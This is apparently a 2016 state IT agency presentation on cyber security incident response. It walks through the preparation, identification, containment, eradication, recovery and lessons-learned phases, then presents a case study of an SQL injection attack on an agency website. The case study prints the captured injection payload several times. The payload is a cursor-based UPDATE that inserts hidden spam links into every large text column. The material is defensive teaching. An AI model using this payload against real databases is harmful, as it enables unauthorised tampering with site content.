



*Virginia Information Technologies Agency*

# Cyber Security Incident Response

**Kathy Bortle & Andy Burge**

Commonwealth Security & Risk Management  
Incident Response Team

---

April 7th, 2016



## INTRODUCTION..

Kathy Bortle – CISSP, GCIH, GCIA, GMOB, PMP

VITA Incident Response Specialist

Andy Burge – MCSE (NT 4.0), MCSA, C|EH, GCIH

VITA Incident Response Specialist



## Legislation related to Incident Management

Code of Virginia - § 2.2-603. Authority of agency directors, Section G

“The director of every department in the executive branch of state government shall report to the Chief Information Officer as described in § [2.2-2005](#), all known incidents that threaten the security of the Commonwealth's databases and data communications resulting in exposure of data protected by federal or state laws, or other incidents compromising the security of the Commonwealth's information technology systems with the potential to cause major disruption to normal agency activities. Such reports shall be made to the Chief Information Officer within 24 hours from when the department discovered or should have discovered their occurrence.”



## What is an IT Security Incident ?

### **Event**

An event is *an* observable occurrence in a system, network, and/or workstation. Events can indicate that an incident is occurring.

### **Information Technology Security Incident**

Information security incident refers to an adverse event in a system, network, and/or workstation, or the threat of such an event.



## How to Handle IT Security Incidents

There are six stages in the handling of an IT Security Incident

- Preparation
- Identification
- Containment
- Eradication
- Recovery
- Lessons Learned



## Preparation

### Develop Management Support for an Incident Handling Program

In order to develop management support for an incident handling program, management needs to be aware of the security posture of the organization. This information can be conveyed by creating a Monthly/Quarter report that includes:

- A description of the incidents that have occurred and their impact to the organization
- Incident Statistics - number of attack attempts, # of incidents, types of incidents, origin of attacks, etc.
- Provide information on incidents that are in the news and explain your organization is protected from these types of incidents.



## Preparation

### Develop an Incident Response Policy

When an incident occurs, you need to know how your organization prefers to handle this incident. The incident response policy needs to define the processes that will be used to handle an incident. This includes:

- Who to notify about the incident – management, law enforcement, peers, etc.
- Frequency of communications – provide updates every 4 hours, once or day
- How the incident will be handled – contain, clean up or monitor to gather more evidence



## Preparation

### Develop an Emergency Communications Plan

When an incident occurs, traditional methods of communication may not be available. For instance, if the email system has been compromised, you should not use that system to provide incident information.

Methods for communicating required information can include:

- A wallet sized contact card listing the incident response team's phone numbers.
- A call tree
- A conference bridge line that can be activated when needed.



## Preparation

### Build your Security Incident Response Team (SIRT)

An incident response team should include members of the organization which can provide assistance with handling the incident. The team members should include:

- Security – Incident Handlers, Forensics investigators
- Operations Management – System Administrators
- Network Management
- Legal Counsel
- Human Resources
- Public Relations
- Disaster Recovery/Business Continuity Planning
- Executive Management Representative



## Preparation

### Develop the Incident Response Team

An incident response team should be ready to respond to an incident when it happens. In order to prepare to handle these incidents, the team needs to have:

- Baseline configurations for systems
- Be able to gain access to affected systems
- Be able to acquire required resources when needed
- Practice incident scenarios (table top exercises)
- Provide IT Security training to update skills

## Preparation

When the team needs to go on-site to investigate an incident, they will need to be able to take their tools with them. These items are assembled into a Jump Bag.

Jump Bags should contain the following items:

- a laptop
- a cell phone
- binary imaging software
- forensics software
- blank media
- bootable media
- an Ethernet tap
- patch cables
- tools
- mirrors
- tweezers
- notebooks
- pens
- business cards
- evidence bags
- Chain of Custody forms

## Identification

### Events vs. Incidents

An “event” is an observable occurrence in a system and/or network

Examples include:

- The system reboots or crashes
- Packet flood on the network
- Unwanted email message received
- Traffic going to/from a known malicious site

Events are recorded to determine the baseline for normal activity on systems/networks. The events should be recorded in multiple locations so if they become an incident, corroborating evidence is available.



## Identification

### Events vs. Incidents (continued)

An “incident” is an event that threatens to do harm, attempts to do harm, or does harm to the system and/or network.

Examples include:

- Hacktivist group announces a planned take down of government websites on a specific date
- Installation and Execution of malware
- Flood of network traffic that causes a Denial of Service (DoS) condition.
- An email account that is sending thousands of messages.

Incidents can be identified by monitoring for deviations from the “norm”

## Identification

In identifying a security incident, keep the following in mind:

- Report early – it's better to report an event than to overlook an incident.
- Maintain Situational Awareness – monitor the news, twitter feeds, etc. for incidents that are threatened or experienced by other organizations
- Provide Indicators of Compromise (I.O.C.s) – what files were placed on a system, what registry keys have been changed, what information is leaving the organization.
- Provide updated information as it becomes available.
- Correlate information



## Identification

### The role of the Incident Handler

When an abnormal event is experienced, the assigned incident handler will evaluate the event to determine if it is an incident.

During this evaluation, the incident handler will:

- Gather and analyze information about the event
- Share information based on “need to know”
- Determine if out-of-band communications are required
- Determine answers to the questions of –  
who, what, when, where, why and how



## Containment

The goal of the containment phase is to prevent the attacker from causing further damage.

- Survey the situation
- Categorize and describe the incident
- Inform Management and Appropriate parties
- Record the incident in the incident tracking system
- Develop strategies for containment



## Containment

For short-term containment we want to prevent the attacker from doing further damage but we don't want to taint the evidence.

Steps for Short-term containment:

- Notify the business users that system needs to be taken offline. Get them to agree to this in writing
- Disconnect the network cable or isolate the system on a separate VLAN to protect other systems from being affected
- Acquire a forensics image of the system

NOTE: Pulling the power cable will cause evidence in memory to be lost.



## Containment – Initial Analysis

When performing the initial analysis on the incident, the incident handlers should:

- Keep a low profile. Don't perform actions from the compromised system that would alert the attacker that you are on to them.
- Create a forensic image of the drive. Make multiple copies to use for analysis.
- Preserve the original drive as evidence. This should be secured in an evidence bag with a Chain of Custody Form.
- Provide periodic updates to the SIRT



## Containment – Developing a Containment Plan

The information learned from the initial analysis should be used to develop a containment plan

- Review logs to determine the extent of the attack
- Determine the risk for continuing operations.
- Define steps that need to be performed to place a temporary bandage on the existing system. Steps may include:
  - Applying patches
  - Resetting passwords
  - Removing accounts created by the attacker
  - Disabling processes installed/launched by the attacker
- Provide progress reports to System Owners/Administrators



## Eradication

The eradication phase focuses on removing/repairing the damage that was done to the compromised system. In order to do this, we need to find answers to the following questions:

- How was the system was compromised?
- What did the attacker leave behind?
- Is there a clean pre-attack backup for the system?
- Is the level of risk sufficient to require the system to be rebuilt?



## Eradication

- How do we prevent the attacker from using the same attack vectors against the compromised system or other systems in the environment?
  - Improve defenses:
    - Apply firewall rules to filter the traffic seen in the attack
    - Move the system to a new IP address/DNS name
    - Implement hardening standards and verify that systems are configured to follow them.
    - Apply all software/firmware patches to the system
  - Perform a vulnerability analysis on the system and look for those same vulnerabilities on other systems. Identified vulnerabilities should be addressed in the recovery plan.

## Recovery

The recovery phase focuses on getting the system back into production as safely as possible.

### Step 1 – Validation

- Initiate a restore of the file system. Once the restore is complete, verify that it was successful and the file system is back to its pre-attack state.
- Work with support staff and system owners to gather test plans and baseline configuration documentation.
- Test the system using this documentation. Ideally, the business users should be the ones to test as they may identify issues that may not be apparent to the SIRT.



## Recovery

### Step 2 - Restore Operations

- Schedule a time with the system owner, support staff and SIRT to place the system back into production.
- Setup a bridge line for communicating information during the migration to production. All staff and management working on the migration should be given this number.
- Business users should test functionality following migration to verify that everything is working as expected.

## Recovery

### Step 3 - Monitor the system

Systems should be monitored closely for several months to determine if anything left by the attacker escaped detection.

- Application and OS logs should be reviewed carefully for any indicators of compromise
- IDP/IPS systems should be configured with a custom signature to alert on the original attack vector
- Scripts should be developed and run to detect abnormal events that may be experienced on the system.



## Lessons Learned

During the Lessons Learn phase, the incident needs to be reviewed to determine how to improve our processes.

As part of this review, a security incident report should be written that details the answers to the following questions:

- Who – name of attacker (if available)
- What – describe the incident
- When – provide a timeline
- Where – provide a location
- Why – described which security controls failed or were missing
- How – was it physical access, did it come in through the web, was it initiated via email or malware?

## Lessons Learned

The Official Incident Report should contain the following sections:

- An Executive Summary – this is the high-level summary of the incident. It should explain what happened, why it happened and provide recommendations for preventing it from happening again.
- Initial Security Incident Response – This should be a chronological timeline of the action taken by the Security Incident Response Team (SIRT) to investigate the event and to determine if an incident had occurred.

## Lessons Learned

- The Attack Analysis – This section provides the detailed information that was learned during the analysis of the evidence. It should explain the attack vector, provide samples of the attack and explain how the attack worked.
- Remediation – This section includes the activities that were performed to remediate the vulnerabilities and reduce the risk to an acceptable level.
- Recommendations – This section should include recommended actions that will improve defenses.
- Appendix – This section should include supporting documentation.



## Lessons Learned

### Lessons Learned Meeting

The purpose of a lessons learned meeting is to:

- Review the Security Incident report for needed changes.
- Finalize the Executive Summary
- Review your processes to see if changes are required.
- Review your technology to see if it can be improved to handle incidents in a more timely/effective manner
- Review your incident response capabilities to determine if additional training and/or resources are required.



## EXAMPLES..

Andy Burge – MCSE (NT 4.0), MCSA, C|EH, GCIH

VITA Incident Response Specialist



## KEY ASPECTS..

Key Aspects of my Incident Response role:

- Threat and vulnerability research
- Analysis of events and alerts
- Coordinating incidents (containment, Eradication, Recovery & Lessons learned)



## EXAMPLE BENEFIT OF IR (1)

Washington Post National Security article. (March 21 2016)

Contained the following statement from an FBI official;  
Last month the FBI issued a flash alert that captured the sophistication of the new strains of ransomware that are afflicting entire networks. “The bad guys burrow into a system often months in advance, map out the network, and then deploy the ransomware at what they believe to be the most critical assets of the organization,” said James Pastore, a former

## EXAMPLE BENEFIT OF IR (2)

- Web site administrator blog post (March 22 2016)
  - Author describes Darkleech malware infection
    - infected was difficult to detect
    - root cause was difficult to identify
  - No central logging nor network full packet capture

### Campaign Evolution: Darkleech to Pseudo-Darkleech and Beyond

POSTED BY: Brad Duncan on March 22, 2016 5:00 AM

FILED IN: Unit 42

TAGGED: Darkleech, Exploit Kits, pseudo-Darkleech, ransomware

In 2015, Sucuri published two blog posts, one in March describing a **pseudo-Darkleech campaign** targeting WordPress sites, and another about its **evolution** the following December. Sites compromised by this campaign redirected unsuspecting users to an exploit kit (EK). The



## EXAMPLE BENEFIT OF IR (3)

Commonwealth of Virginia – SEC501.09 Security Standard:

***8.7.CONTROL FAMILY: IDENTIFICATION AND AUTHENTICATION (IA)  
IA-2-COV***

- a) .. Two-Factor authentication is required for all network-based administrative access to servers and multi-use systems.*

## I.R. EXAMPLE –WEB APP ATTACK

SQL injection attack –

- code injection of malicious SQL statements into a data entry field.
- one of the most prevalent and most dangerous of web application vulnerabilities.

*Example of creative P.O.C. attack on speed camera:*





## I.R. STAGE 2: IDENTIFICATION

IDS alert of a SQL injection attack on a web server :

- alert provides initial event information
  - source & destination IP addresses
  - source & destination TCP ports
  - time-stamps

Full packet capture:

- based on the initial IDS details, we exported network traffic into PCAP file for analysis

Initial analysis of attack network traffic:

- several GET requests containing SQL code
- SQL code looked 'targeted' (not generic vulnerability scanner)
- Web server response was not an error
- signified a security incident exists



## I.R. STAGE 3: CONTAINMENT

Initiated containment process after declaring an incident:

- notify the agency
- block the attacker IP address

Investigate the attack to answer the following questions:

- was the attack successful
- if so, how was the attack able to bypass existing security controls
- what new controls are needed to prevent reoccurrence



## I.R. STAGE 3: CONTAINMENT

Using WireShark, we assembled the network traffic data streams to see both the attack code and web server response data.

We could see the attacker using HTTP GET methods to submit the following SQL attack code into the site's search form:

```
set @c=cursor for select "update ["+TABLE_NAME+"] set ["+COLUMN_NAME+"]
"+COLUMN_NAME+"]+case ABS(CHECKSUM(NewId()))%10 when 0 then ""
'<div style="display:none"> My husband cheated on me <a
href="http://homes.hendrix.edu/burling/page/wives-that-cheat.aspx">"
"+case ABS(CHECKSUM(NewId()))%3 when 0 then ""link""
when 1 then ""homes.hendrix.edu"" else ""open"" end +"
'</a> why women cheat in relationships</div>"" else """" end"
FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid in (0,1)) and DATA_TYPE like "%varchar"
and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1))
```

## I.R. STAGE 3: CONTAINMENT

The UPDATE statement - an attempt make changes to the site's content database by adding the following stings:

- *http://homes.hendrix.edu/burling/page/wives-that-cheat.aspx*
- *homes.hendrix.edu*
- *why women cheat in relationships*

```

set @c=cursor for select "update ["+TABLE_NAME+"] set ["+COLUMN_NAME+"]
"+COLUMN_NAME+" ]+case ABS(CHECKSUM(NewId()))%10 when 0 then ""
'<div style="display:none"> My husband cheated on me <a
href="http://homes.hendrix.edu/burling/page/wives-that-cheat.aspx">"
"+case ABS(CHECKSUM(NewId()))%3 when 0 then ""link""
when 1 then ""homes.hendrix.edu"" else ""open"" end +"
'</a> why women cheat in relationships</div>' else "" end"
FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid in (0,1)) and DATA_TYPE like "%varchar"
and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1))
    
```



## I.R. STAGE 3: CONTAINMENT

Looking at the web server response traffic, we see code '200 OK' responses (not error codes that would have suggested attack failure):

HTTP/1.1 200 OK

Date: Fri, 02 Oct 2015 17:55:22 GMT

Server: Microsoft-IIS

X-Powered-By: ASP.NET

X-AspNet-Version: 1.1.4322

Set-Cookie: ASP.NET\_SessionId=bcmndj55hmycxx454xsp5eiw; path=/

Set-Cookie: SearchPageSize=10; expires=Sun, 01-Nov-2015 18:55:22 GMT; path=/

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 13671



## I.R. STAGE 3: CONTAINMENT

Also, the web server response traffic showed minimal sanitization of the attack code (maintaining potential of attack success):

```
set @c=cursor for select "update %5B"%2BTABLE_NAME%2B"%5D
set %5B"%2BCOLUMN_NAME%2B"%5D=%5B"%2BCOLUMN_NAME%2B"%5D%
2Bcase ABS(CHECKSUM(NewId()))%2510 when 0 then """"%2Bchar(60)%2B"div
style=%22display:none%22"%2Bchar(62)%2B"My husband cheated on me ""
2Bchar(60)%2B"a href=%22http:"%2Bchar(47)%2Bchar(47)%
2B"homes.hendrix.edu"%2Bchar(47)%2B"burling"%2Bchar(47)%2B"page"%
2Bchar(47)%2B"wives-that-cheat.aspx%22"%2Bchar(62)%2B""""%2Bcase
ABS(CHECKSUM(NewId()))%253 when 0 then ""link"" when 1 then
""homes.hendrix.edu"" else ""open"" end %2B""""%2Bchar(60)%2Bchar(47)%2B"a"%
2Bchar(62)%2B" why women cheat in relationships"%2Bchar(60)%2Bchar(47)%
2B"div"%2Bchar(62)%2B"""" else """" end" FROM sysindexes AS i INNER JOIN
sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON
o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE
like "%25varchar" and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1))
```



## I.R. STAGE 3: CONTAINMENT

At this point, the possibility of this SQLi attack being successful still exists:

- the web server's 'OK' response indicates the GET request was successfully received
- the response data contained unfiltered SQL code

Our next step was to collaborate with the agency

- understanding existing web app security controls
- possibility of SQL code sanitization exists between the app and database layer
- request help with investigation to determine if the attack actually updated content within the site's database (especially looking for any content matching the UPDATE strings)



## I.R. STAGE 4: ERADICATION

The attack was not successful..

- additional web server security controls existed preventing unauthorized database modifications
- Damage repair and restoration step not required
- Recommended input filtering (i.e. Microsoft UrlScan to filter input strings (i.e. keywords, number of characters etc.)



## WEB APP SECURITY - TAKE AWAY..

Patch Frequently

- Operating System, Database, Web Service, plugins, etc.

OWASP (non-profit Open Web Application Security Project)

- resource to help developers secure web applications

Engage in Web App penetration testing for security assessment



## IR RECOMMENDATIONS..

### **REDLINE:**

free tool for help with investigating endpoints

### **Payload-Security.com:**

free online sandbox analysis of suspicious file

### **Malware-Traffic-Analysis.net:**

free hands-on tutorials for analyzing network traffic to investigate malware infections

### **Verizon Data Breach Digest:**

incident investigation report of specific incident scenarios



## QUESTIONS?

KATHY BORTLE

Kathy.Bortle@vita.virginia.gov

ANDY BURGE

Andy.burge@vita.virginia.gov  
@andyb777